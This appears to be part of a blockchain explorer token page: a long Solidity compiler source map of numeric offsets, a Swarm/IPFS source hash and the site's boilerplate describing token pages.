1;;5284:6;;5259:21;:31;;5284:6;;5259:31;:::i;:::-;;;;-1:-1:-1;;5306:37:0;;1391:25:1;;;5332:1:0;;-1:-1:-1;;;;;5306:37:0;;;;;1379:2:1;1364:18;5306:37:0;;;;;;;4994:358;;:::o;6143:340::-;6237:7;;;;;:38;;-1:-1:-1;6259:15:0;;-1:-1:-1;;;;;6249:25:0;;;6259:15;;6249:25;6237:38;6228:87;;;;-1:-1:-1;;;6228:87:0;;7605:2:1;6228:87:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;6228:87:0;7403:398:1;6228:87:0;6386:15;;6326:93;;6347:6;;6355:9;;-1:-1:-1;;;;;6367:34:0;;;6386:15;;6367:34;6366:52;;;;;6416:1;6407:6;;:10;6366:52;6326:20;:93::i;:::-;6451:15;;-1:-1:-1;;;;;6441:25:0;;;6451:15;;6441:25;6440:35;;6474:1;6440:35;;;6470:1;6440:35;6430:45;;:6;;:45;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;6143:340:0:o;5487:648::-;5595:7;:23;;5612:6;;;;;;;5595:23;;;5605:4;5595:23;5586:6;:32;;;;;;;-1:-1:-1;;5586:32:0;;;;;;;;;-1:-1:-1;;;;;5635:13:0;;-1:-1:-1;5635:13:0;;;:5;:13;;;;;;5586:32;5635:13;:21;;5586:6;5635:21;5634:53;;;;-1:-1:-1;;;;;;5662:16:0;;;;;;:5;:16;;;;;;;;:24;;:16;:24;;5634:53;5633:114;;;-1:-1:-1;;;;;;5694:13:0;;;;;;:5;:13;;;;;;;;:21;;:13;:21;;;;5693:53;;-1:-1:-1;;;;;;5721:16:0;;;;;;:5;:16;;;;;;;;:24;;:16;:24;;5693:53;5629:149;;;5751:8;:24;;;;;;;-1:-1:-1;5751:24:0;;;;;;;;-1:-1:-1;;;;;;5751:24:0;-1:-1:-1;;;;;5751:24:0;;;;;5629:149;5793:6;;;;;;;5792:39;;;;-1:-1:-1;5815:15:0;;-1:-1:-1;;;;;5805:25:0;;;5815:15;;5805:25;5792:39;:56;;;;;5836:6;;5846:1;5836:11;5792:56;5788:169;;;5857:12;5852:103;5883:8;:15;5876:22;;5852:103;;;5940:11;5910:9;:25;5920:8;5929:4;5920:14;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;5920:14:0;5910:25;;;;;;;;;;;;:42;;:25;;5920:14;5910:42;;;;;:::i;:::-;;;;-1:-1:-1;5900:6:0;;-1:-1:-1;5900:6:0;;;:::i;:::-;;;;5852:103;;;;5788:169;6000:15;5991:5;;:24;5990:36;;;-1:-1:-1;6020:6:0;;;;;;;5990:36;5989:65;;;;;6032:5;:13;6038:6;:4;:6::i;:::-;-1:-1:-1;;;;;6032:13:0;;;;;;;;;;;;-1:-1:-1;6032:13:0;;;;:21;;:13;:21;;5989:65;:81;;;;;6068:1;6059:6;;:10;5989:81;5988:95;;6081:1;5988:95;;;6075:1;5988:95;5967:116;;:9;:17;5977:6;:4;:6::i;:::-;-1:-1:-1;;;;;5967:17:0;-1:-1:-1;;;;;5967:17:0;;;;;;;;;;;;;:116;;;;;;;:::i;:::-;;;;-1:-1:-1;;6094:6:0;:8;;;:6;:8;;;:::i;:::-;;;;-1:-1:-1;;6112:15:0;6104:5;:23;-1:-1:-1;;;5487:648:0:o;5360:115::-;5399:7;5427:1;5418:6;;:10;:53;;-1:-1:-1;5469:1:0;;5360:115::o;5418:53::-;5431:8;5440:15;;:17;;5431:8;;5440:17;:::i;:::-;5431:27;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;5431:27:0;5410:62;;5360:115;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:180::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;-1:-1:-1;2100:23:1;;1949:180;-1:-1:-1;1949:180:1:o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;:::-;2275:39;2134:186;-1:-1:-1;;;2134:186:1:o;2533:260::-;2601:6;2609;2662:2;2650:9;2641:7;2637:23;2633:32;2630:52;;;2678:1;2675;2668:12;2630:52;2701:29;2720:9;2701:29;:::i;:::-;2691:39;;2749:38;2783:2;2772:9;2768:18;2749:38;:::i;:::-;2739:48;;2533:260;;;;;:::o;2798:380::-;2877:1;2873:12;;;;2920;;;2941:61;;2995:4;2987:6;2983:17;2973:27;;2941:61;3048:2;3040:6;3037:14;3017:18;3014:38;3011:161;;;3094:10;3089:3;3085:20;3082:1;3075:31;3129:4;3126:1;3119:15;3157:4;3154:1;3147:15;3011:161;;2798:380;;;:::o;3592:127::-;3653:10;3648:3;3644:20;3641:1;3634:31;3684:4;3681:1;3674:15;3708:4;3705:1;3698:15;3724:125;3764:4;3792:1;3789;3786:8;3783:34;;;3797:18;;:::i;:::-;-1:-1:-1;3834:9:1;;3724:125::o;3854:128::-;3894:3;3925:1;3921:6;3918:1;3915:13;3912:39;;;3931:18;;:::i;:::-;-1:-1:-1;3967:9:1;;3854:128::o;5562:217::-;5602:1;5628;5618:132;;5672:10;5667:3;5663:20;5660:1;5653:31;5707:4;5704:1;5697:15;5735:4;5732:1;5725:15;5618:132;-1:-1:-1;5764:9:1;;5562:217::o;7806:127::-;7867:10;7862:3;7858:20;7855:1;7848:31;7898:4;7895:1;7888:15;7922:4;7919:1;7912:15;7938:135;7977:3;-1:-1:-1;;7998:17:1;;7995:43;;;8018:18;;:::i;:::-;-1:-1:-1;8065:1:1;8054:13;;7938:135::o

Swarm Source

ipfs://456543cc1dc3905c83ae6dd118fee656a65c382a440443c25a0880e8c0b03a85

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.